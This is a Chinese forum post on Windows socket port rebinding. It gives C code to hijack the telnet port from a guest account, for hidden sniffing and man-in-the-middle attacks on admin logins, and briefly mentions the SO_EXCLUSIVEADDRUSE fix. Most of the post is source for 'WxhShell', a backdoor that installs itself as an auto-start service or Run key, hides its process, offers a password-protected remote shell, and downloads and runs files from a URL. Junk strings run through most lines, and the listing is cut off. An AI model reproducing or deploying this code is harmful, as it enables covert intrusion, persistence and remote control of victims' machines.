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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '=?IVm #C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +g8wc(<ik  
PjriAlxD  
  saddr.sin_family = AF_INET; |=H*" (  
fC>3{@h}*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H\7#$ HB  
N1rBpt  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @+LkGrDP  
'EFSr!+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ei!5Qya>  
MxMrLiqU6l  
  这意味着什么?意味着可以进行如下的攻击: ad^7t<a}<  
dIiQ^M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EsR_J/:Qe  
N yT|=`;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EU?)AxH^  
.]+Z<5Fo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2Qg.b- C  
~IvAnwQ'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Bbuy y  
Bw2-4K\"kc  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =C{)i@ +  
;O=tSEe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 My'u('Q%  
:G$f)NMK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nbM[?=WS  
fY3^L"R  
  #include l \~w(8g<A  
  #include m89-rR:Kc  
  #include 3=w$1.B d  
  #include    d~f_wN&r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PLDg'4DMg  
  int main() NoS|lT  
  { QixEMX4<  
  WORD wVersionRequested; L\d"|87lX  
  DWORD ret; rlSar$  
  WSADATA wsaData; 4DY\QvW5  
  BOOL val; 8>" vAEf  
  SOCKADDR_IN saddr; *FoH '\=  
  SOCKADDR_IN scaddr; ,Bh!|H(?L1  
  int err; c@d[HstBJ  
  SOCKET s; ^2-2Jz@  
  SOCKET sc; x(J|6Ey7!n  
  int caddsize; ;=goIsk{Q  
  HANDLE mt; nX(2&<  
  DWORD tid;   >`Xikn(  
  wVersionRequested = MAKEWORD( 2, 2 ); oNHbQ&h  
  err = WSAStartup( wVersionRequested, &wsaData ); WW33ZJ  
  if ( err != 0 ) { vR$[#`X  
  printf("error!WSAStartup failed!\n"); 'TWZ@8h~  
  return -1; hM~9p{O  
  } ??& Q"6Oe  
  saddr.sin_family = AF_INET; &2-dZK  
   &DoYz[q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !{'C.sb?~  
c#'t][Ii  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Fj? Q4_  
  saddr.sin_port = htons(23); Bw^*6P^l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $10"lM[  
  { /VFh3n>I2  
  printf("error!socket failed!\n"); &AR@5M u  
  return -1; O_%X>Q9  
  } H4C]%Q  
  val = TRUE; S<Z]gY @c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9[yW&t;#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N!R>L{H>  
  { F+yu[Dh:  
  printf("error!setsockopt failed!\n"); DC?U +  
  return -1; OW}ny  
  } Nn/me  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /)6+I(H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z%ZAN-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \F`%vZrKR  
\NE~k)`4j%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3d<Z##`{4  
  { 7p"4rL  
  ret=GetLastError(); y8oqCe)  
  printf("error!bind failed!\n"); `h%(ZG ~  
  return -1; %x(||cq  
  } ~kHWh8\b:  
  listen(s,2); | ]#PF*  
  while(1) 2G=prS`s  
  { o$PY0~#  
  caddsize = sizeof(scaddr); be^+X[  
  //接受连接请求 Z=c&</9e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7T[Kjn^{Oj  
  if(sc!=INVALID_SOCKET) {=3&_/9s){  
  { },r9f MJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CEQs}bz  
  if(mt==NULL) o8uak*"{  
  { a] =k-Xh  
  printf("Thread Creat Failed!\n"); !>E$2}Q|]  
  break; t,D7X1W  
  } Pk2=*{:W  
  } (FVHtZi7  
  CloseHandle(mt); h*X5O h6  
  } B183h  
  closesocket(s); CdZS"I  
  WSACleanup(); 3Gk\3iU!  
  return 0; a_z1S Z2[  
  }   uT#4"G9A[  
  DWORD WINAPI ClientThread(LPVOID lpParam) {TOz}=R"3h  
  { Zb&5)&'X  
  SOCKET ss = (SOCKET)lpParam; DH9p1)L'  
  SOCKET sc; ]H {g/C{j  
  unsigned char buf[4096]; 8x~'fzf;Sq  
  SOCKADDR_IN saddr; zg}#X6\G<_  
  long num; c3aBPig\D  
  DWORD val; i;l0)q  
  DWORD ret; RKb{QAK!v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r"4&.&6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mb GL)NI  
  saddr.sin_family = AF_INET; Tebu?bj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M&SY2\\TB  
  saddr.sin_port = htons(23); Z,_EhEm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *KYh_i  
  { APUpqY  
  printf("error!socket failed!\n"); M+l~^E0Wj  
  return -1; Xh?J"kjof  
  } 49!(Sa_]j  
  val = 100; =38c}(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q,>-4Cm  
  { AMe_D  
  ret = GetLastError(); ecdM+kP  
  return -1; 2=RQ,@s  
  } EUmbNV0u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gR 76g4|=;  
  { WR zIK09@  
  ret = GetLastError(); 0f;`Zj0l8  
  return -1; YgLHp/  
  } GswV/V+u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R+<M"LriR&  
  { =<.h.n  
  printf("error!socket connect failed!\n"); j"Z9}F@  
  closesocket(sc); '>Uip+'  
  closesocket(ss); Hdda/?{b  
  return -1; v$~ZT_"(9  
  }  q^Ui2  
  while(1) g{e@I;F  
  { HV[*=Qi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 czcsXBl[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f)#nXTXeC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -~TgA*_5]  
  num = recv(ss,buf,4096,0); |>v8yS5  
  if(num>0) se S)`@n  
  send(sc,buf,num,0); i:sb_U+M  
  else if(num==0) ?'mi6jFFh  
  break; }kF*I@:g  
  num = recv(sc,buf,4096,0); mNQ*YCq.  
  if(num>0) ^$;5ZkQy  
  send(ss,buf,num,0); Eemk2>iP?  
  else if(num==0) '-[?iF@l  
  break; V_P,~!  
  } dk.VH!uVb  
  closesocket(ss); p K hV<MFB  
  closesocket(sc); x}7`Q:k=  
  return 0 ; :rnj>U6<>  
  } wh#x`Nc  
icXeB_&cS  
e$4$G<8;y  
========================================================== .ZVo0  
K)nn;j=  
下边附上一个代码,,WXhSHELL q/3 )yG6s  
e) kVS}e?  
========================================================== *6QmYq6c<  
^ jT1q_0  
#include "stdafx.h" q":0\ar&QT  
Z:Nm9m  
#include <stdio.h> 5tcJT z  
#include <string.h> .*c%A^>  
#include <windows.h> [8rl{~9E  
#include <winsock2.h> ;0Mg\~T~'  
#include <winsvc.h> $|H7fn(r  
#include <urlmon.h> V"W)u#4,  
UO8./%'  
#pragma comment (lib, "Ws2_32.lib") 3vRBK?Q.y  
#pragma comment (lib, "urlmon.lib") Pskg68W  
!/6KQdF  
#define MAX_USER   100 // 最大客户端连接数 >o8N@`@VK-  
#define BUF_SOCK   200 // sock buffer Q+=D#x  
#define KEY_BUFF   255 // 输入 buffer .>+jtp}  
F'3-*>]P  
#define REBOOT     0   // 重启 Qhsk09K_=4  
#define SHUTDOWN   1   // 关机  FA#8  
zR6^rq*  
#define DEF_PORT   5000 // 监听端口 TptXH?  
[B"CNnA  
#define REG_LEN     16   // 注册表键长度 YMIX|bj6Y  
#define SVC_LEN     80   // NT服务名长度 W6L}T,epX  
e2*Fe9:  
// 从dll定义API N Uq'96 {Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >TQnCG =  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =d`/BDD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X7{ h/^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X)k+BJ  
zx=AT  
// wxhshell配置信息 M`gr*p  
struct WSCFG { ]q|^?C  
  int ws_port;         // 监听端口 <o.?T*Q9  
  char ws_passstr[REG_LEN]; // 口令 HzD=F3\r|  
  int ws_autoins;       // 安装标记, 1=yes 0=no BZ -)XF'4  
  char ws_regname[REG_LEN]; // 注册表键名 6n5>{X  
  char ws_svcname[REG_LEN]; // 服务名 Hsi<!g.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @T 8$/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =VM4Q+'K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z9IJ%= R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^. ; x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (#%R'9R v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G2e0\}q  
`Wy8g?d;bn  
}; Tv`-h  
kr6^6I.  
// default Wxhshell configuration H_+F~P5RC  
struct WSCFG wscfg={DEF_PORT, .~ yz1^ c  
    "xuhuanlingzhe", [sweN]b6F  
    1, n;,>Fv  
    "Wxhshell", s2M|ni=  
    "Wxhshell", {rWFgn4Li  
            "WxhShell Service", &0QtHcXpR  
    "Wrsky Windows CmdShell Service", ^VAvQ(b!:i  
    "Please Input Your Password: ", gyAKjLqqpi  
  1, FQGh+.U  
  "http://www.wrsky.com/wxhshell.exe", bRb+3au_x  
  "Wxhshell.exe" O]N 8Q H  
    }; X'KkIo :  
+7|Qd}\X  
// 消息定义模块 N>'|fNx]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5Sfz0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s0bWg$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c<n <!!vi  
char *msg_ws_ext="\n\rExit."; {9yW8&m  
char *msg_ws_end="\n\rQuit."; XI*cu\7sy  
char *msg_ws_boot="\n\rReboot..."; Z$&i"1{  
char *msg_ws_poff="\n\rShutdown..."; [r"`r Bw  
char *msg_ws_down="\n\rSave to "; Lp}>WCams  
__N#Y/e ]  
char *msg_ws_err="\n\rErr!"; f}U@e0Lsb  
char *msg_ws_ok="\n\rOK!"; {Y#$  
_]~= Kjp  
char ExeFile[MAX_PATH]; ?E88y  
int nUser = 0; "Ooc;xD3<  
HANDLE handles[MAX_USER]; F"*.Qq  
int OsIsNt; 3~&h9#7 Ke  
,F)9{ <r]  
SERVICE_STATUS       serviceStatus; 5v@-.p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @p}"B9h*^  
si|DxDx  
// 函数声明 $7bl,~Z  
int Install(void); M~+T $K  
int Uninstall(void); KqH_?r`  
int DownloadFile(char *sURL, SOCKET wsh); [O52Bn  
int Boot(int flag);  !Hp H  
void HideProc(void); E")g1xGaK  
int GetOsVer(void); KL}o%wfLy  
int Wxhshell(SOCKET wsl); "\l O1D  
void TalkWithClient(void *cs); !33)6*s  
int CmdShell(SOCKET sock); ~-.^eT kP  
int StartFromService(void); {zf)im[.  
int StartWxhshell(LPSTR lpCmdLine); >TqMb8e_  
ZC\&n4~7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F3L'f2yBG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a7Fc"s*  
n,E =eNc  
// 数据结构和表定义 DfJHH)Ry}  
SERVICE_TABLE_ENTRY DispatchTable[] = ub* j&L=  
{ rL=_z^.P  
{wscfg.ws_svcname, NTServiceMain}, Bh\>2]~@a  
{NULL, NULL} '`K-rvF,C  
}; ,GH;jw)P  
=/b WS,=  
// 自我安装 l1h;ng6  
int Install(void) X/D^?BKC  
{ 1sT%g}w@|  
  char svExeFile[MAX_PATH]; %di]1vQ  
  HKEY key; T .57Okp  
  strcpy(svExeFile,ExeFile); AUk,sCxd  
B?G!~lQ)o  
// 如果是win9x系统,修改注册表设为自启动 w>q:&Q  
if(!OsIsNt) { W]t!I}yPR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WjrUns  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *<[Nvk^  
  RegCloseKey(key); Hik :Sqpox  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {4@+ 2)l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q*^F"D:?k  
  RegCloseKey(key); Y8Bc &q}  
  return 0; }c"1;C&{  
    } EPZ^I)  
  } SREe, e\  
} 45u\v2,C3  
else { z`^DQ8+\j  
5yHarC  
// 如果是NT以上系统,安装为系统服务 ;0R>Dg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sU/R$Nbr  
if (schSCManager!=0) \;h+:[<e1  
{ ):Vzv  
  SC_HANDLE schService = CreateService huu v`$~y  
  ( U%7| iK  
  schSCManager, |9;6Cp  
  wscfg.ws_svcname,  fn1G^a=  
  wscfg.ws_svcdisp, `o.DuvQ E  
  SERVICE_ALL_ACCESS, \1AtB c&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , epWO}@ b a  
  SERVICE_AUTO_START, lDQ'  
  SERVICE_ERROR_NORMAL, =` b/ip5  
  svExeFile, 4rmSo^vK  
  NULL, Gl1Qbd0  
  NULL, 7.r}98V  
  NULL, Aj9Onz,Lg  
  NULL, : *~}\M*  
  NULL ;}tEU'&  
  ); v[aFSXGj)  
  if (schService!=0) 9'qU4I  
  { }|k_sx:  
  CloseServiceHandle(schService); Vu%XoI)<KY  
  CloseServiceHandle(schSCManager); AF=9KWqf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3N'fHy  
  strcat(svExeFile,wscfg.ws_svcname); 2f%G`4/p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6%p$C oR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :%!}%fkxH  
  RegCloseKey(key); H9x,C/r,  
  return 0; "71,vUW  
    } Ag>E%N  
  } A?DgeSm  
  CloseServiceHandle(schSCManager); &nc 0stuL  
} cmzu @zq  
} 6O`s&T,t  
LEq"g7YH  
return 1; W-QBC- 3  
} {M7`z,,[  
hdw-gem{?  
// 自我卸载 d,Fj|}S  
int Uninstall(void) X"hoDg  
{ X `[P11`  
  HKEY key; 2\$P&L a  
uB(16|W>S  
if(!OsIsNt) { UN~dzA~V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M  `QYrH  
  RegDeleteValue(key,wscfg.ws_regname); J3]W2m2Zw  
  RegCloseKey(key); K/2k/\Jk[_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ')d&:K*M  
  RegDeleteValue(key,wscfg.ws_regname); 3f u*{8.XZ  
  RegCloseKey(key); ^J?ExMu  
  return 0; hmA$gR_  
  } *H"IW0I  
} gaK m`#  
} @} nI$x.  
else { B?Vr9H7n  
sHqs)@D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fp jy[$8  
if (schSCManager!=0) #Ub"Ii  
{ wD|3Czc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *4i)aj  
  if (schService!=0) O8; `6r  
  { A`=;yD  
  if(DeleteService(schService)!=0) { .4M8  
  CloseServiceHandle(schService); 0ssKZ9Lc  
  CloseServiceHandle(schSCManager); *V\z]Dy-[  
  return 0; /Hox]r]'e  
  } y:U'3G-  
  CloseServiceHandle(schService); m;=wQYFr{I  
  } O'6zV"<P  
  CloseServiceHandle(schSCManager); p.r \|  
} Zz"b&`K  
} 7}r!&Eb  
hX-([o  
return 1; vv2N;/;I  
} z (N3oBW  
wq[\Fb`  
// 从指定url下载文件 R W= <EF&  
int DownloadFile(char *sURL, SOCKET wsh) ? m$uqi  
{ Sv*@3x  
  HRESULT hr; e&Z\hZBb  
char seps[]= "/"; 4H7 3a5f  
char *token; ?4X8l@fR  
char *file; HT]v S}s  
char myURL[MAX_PATH]; /jR]sC)xs  
char myFILE[MAX_PATH]; pK)*{fC$`  
}pE8G#O&  
strcpy(myURL,sURL); hjuzVOE|W  
  token=strtok(myURL,seps);  #RE  
  while(token!=NULL) U=?hT&w\S  
  { OH.Re6Rr  
    file=token; ]dXHjOpA  
  token=strtok(NULL,seps); u9WQ0.  
  } >28.^\?H4  
y-UutI&  
GetCurrentDirectory(MAX_PATH,myFILE); b&LfL$  
strcat(myFILE, "\\"); VZOf|o  
strcat(myFILE, file); -1tdyCez  
  send(wsh,myFILE,strlen(myFILE),0); -rU~  
send(wsh,"...",3,0); M`W%nvEDE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LPjsR=xi  
  if(hr==S_OK) %5X}4k!p  
return 0; VS$ZR'OP0  
else S.;>:Dd[K  
return 1; F&{RP>  
)ca^%(25!z  
} fV-vy]x..  
t 6.hg3Y  
// 系统电源模块 8S&Kf>D  
int Boot(int flag) hcQvL>  
{ {VWUK`3  
  HANDLE hToken; zj!&12w%3  
  TOKEN_PRIVILEGES tkp; $#4J^(I*:  
f%LzWXA  
  if(OsIsNt) { [OI&_WIw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7wt2|$Qz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )"  H$1  
    tkp.PrivilegeCount = 1; ]Gw?DD|Gn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S~"1q 0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 32_{nLV$[  
if(flag==REBOOT) { \NYtxGV[Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P# o/S4  
  return 0; )7mX]@  
} 1a#oJU  
else { c65_E<5Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S- Mh0o"  
  return 0; xO2S|DH{  
} Mis t,H7  
  } 2#4_ /5(j*  
  else { 0A%>'<  
if(flag==REBOOT) { Gt&x<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o.tCw\M$g  
  return 0; 0B(<I?a/  
} tuA,t  
else { *_<P% J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !HA[:-JCz  
  return 0; |>( @n{  
} I*e8 5wef  
} G Q&9b_  
r`]&{0}23  
return 1; K 7)1wiEj  
} 0G/VbS  
_(J7^rN  
// win9x进程隐藏模块 {mPalo A  
void HideProc(void) }?,Gn]]  
{ I At;?4  
?^i$} .%W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q]_3 #_'  
  if ( hKernel != NULL ) W4yNET%l,  
  { Xtqjx@ye  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I xT[1$e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DXlP (={*  
    FreeLibrary(hKernel); Dc |!H{Yr  
  } z`-?5-a]I  
T>(nc"(  
return; \Q"o\:IoIT  
} !dfc1UjB  
;dl>  
// 获取操作系统版本 U^4 /rbQ  
int GetOsVer(void) nu,#y"WQ  
{ qO=_i d  
  OSVERSIONINFO winfo; #5GIO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (: IUg   
  GetVersionEx(&winfo); >_QC_UX>4i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %iWup:  
  return 1; -UaUFJa8K&  
  else )SZt If  
  return 0; - |mWi  
} .5I!h !  
16MRLDhnD  
// 客户端句柄模块 *loPwV8  
int Wxhshell(SOCKET wsl) }LS:f,1oGp  
{ ~YHy '.  
  SOCKET wsh; bkkhx,Oi[G  
  struct sockaddr_in client; |w2H5f{fR  
  DWORD myID; gnmKh>0@6o  
J=4R" _yo  
  while(nUser<MAX_USER) kVs'>H@FY  
{ |pJ)w  
  int nSize=sizeof(client); ^yUel.N5"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l%*KBME  
  if(wsh==INVALID_SOCKET) return 1; s z  
2wE?O^J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]]{$X_0n  
if(handles[nUser]==0) D3V5GQ\=  
  closesocket(wsh); W B)<B  
else WO W4c&  
  nUser++; (OT /o&cQ  
  } 3*$A;%q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @'U9*:}U  
*)k}@tY  
  return 0; V6"<lK8"  
} >*H>'O4  
R6~x!  
// 关闭 socket ~vnG^y>%  
void CloseIt(SOCKET wsh) `k65&]&d  
{ Dt)\q^bH)  
closesocket(wsh); N+x0"~T}I  
nUser--; AOQimjW9a  
ExitThread(0); /W'GX n  
} U'zW; Lt  
}^WQNdws56  
// 客户端请求句柄 <`*}$Zh  
void TalkWithClient(void *cs) _f$8{&`k  
{ 5Jq~EB{"  
i rMZLc6  
  SOCKET wsh=(SOCKET)cs; w#eD5y~'oo  
  char pwd[SVC_LEN]; Y 3r m')c  
  char cmd[KEY_BUFF]; IlsXj`!e  
char chr[1]; O{a<f7 W  
int i,j; v!?bEM3D  
H];|<G  
  while (nUser < MAX_USER) { R*IO%9O  
Qj~m;F!  
if(wscfg.ws_passstr) { mdvooJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LziEF-_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6H67$?jMyJ  
  //ZeroMemory(pwd,KEY_BUFF); <jF]SN  
      i=0; cc7*O  
  while(i<SVC_LEN) { |n=m{JX\m  
w\k|^  
  // 设置超时 fv_}7t7  
  fd_set FdRead; `,d*>  
  struct timeval TimeOut; HXhz|s0  
  FD_ZERO(&FdRead); Kdk0#+xtP  
  FD_SET(wsh,&FdRead); "Wr5:T-;  
  TimeOut.tv_sec=8; %"PG/avo  
  TimeOut.tv_usec=0; #pP4\n-~hU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;NH 5 L,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q\ FF)H  
;hGC.}X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \#.,@g  
  pwd=chr[0]; >f#P(  
  if(chr[0]==0xd || chr[0]==0xa) { w~a^r]lPW  
  pwd=0; PVHJIB  
  break; *LpEH,J  
  } bqp6cg\p  
  i++; 4s nL((  
    } =LV7K8FSd  
tAFKq>\  
  // 如果是非法用户,关闭 socket )&]gX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,/AwR?m  
} gRv5l3k  
#j -bT4!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sS;6QkI"y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :+{G|goZ*  
]|62l+  
while(1) { bVmHUcR0  
ZC 7R f  
  ZeroMemory(cmd,KEY_BUFF); ~Q"3#4l  
Bz<T{f  
      // 自动支持客户端 telnet标准   C,7d  
  j=0; Z"PPXv-<jY  
  while(j<KEY_BUFF) { c7 Sa|9*dR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kcKcIn{  
  cmd[j]=chr[0]; Pe6}y  
  if(chr[0]==0xa || chr[0]==0xd) { "*W:  
  cmd[j]=0; 2^w3xL"   
  break; WV&T   
  } :)VO,b~r  
  j++; $Llv6<B  
    } .zQ:u{FT  
<WFA3  
  // 下载文件 1O@ qpNm  
  if(strstr(cmd,"http://")) { -V0_%Smc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \J[m4tw^  
  if(DownloadFile(cmd,wsh)) jGpSECs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O 4zD >O  
  else /ivcqVu]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 Ya)I k{  
  } 0$)s? \  
  else { m;-FP 2~  
-&4>>h9 _  
    switch(cmd[0]) { +GCN63 nX  
  0WT]fY?IS  
  // 帮助 a(AKVk\  
  case '?': { ,Y *unk<S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f%vJmpg  
    break; U-Ia$b-5!  
  } VP0q?lh  
  // 安装 MmiC%"7wt  
  case 'i': { ^mxOQc !  
    if(Install()) ZoX24C'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m>yb}+  
    else HV O mM17  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )_bc:6Q  
    break; '%Og9Bgd+  
    } MMlryn||1  
  // 卸载 kQ~2mU  
  case 'r': { {!!df.h  
    if(Uninstall()) E;!pK9wL|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $A~UA  
    else \kSoDY`l&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +8qtFog$\g  
    break; j>j Zg<}J  
    } m$<LO%<~p  
  // 显示 wxhshell 所在路径 +B(x:hzY9  
  case 'p': { x/~qyX8vo  
    char svExeFile[MAX_PATH]; %smQ`u|  
    strcpy(svExeFile,"\n\r"); fP3e{dVf  
      strcat(svExeFile,ExeFile); ?88k`T'EI  
        send(wsh,svExeFile,strlen(svExeFile),0); _Z~cJIEU  
    break; t~5m[C[`w  
    } \8j5b+  
  // 重启 7$3R}=Z`\q  
  case 'b': { C]S~DK1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LX<arHz  
    if(Boot(REBOOT)) & gF*p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aq~>$CHa  
    else { c:#<g/-{wM  
    closesocket(wsh); b#ga  
    ExitThread(0); bVfFhfh*  
    } N:R6 b5 =}  
    break; n(X{|?  
    } "FuOWI{in  
  // 关机 2P\k;T(  
  case 'd': { V|6PKED  
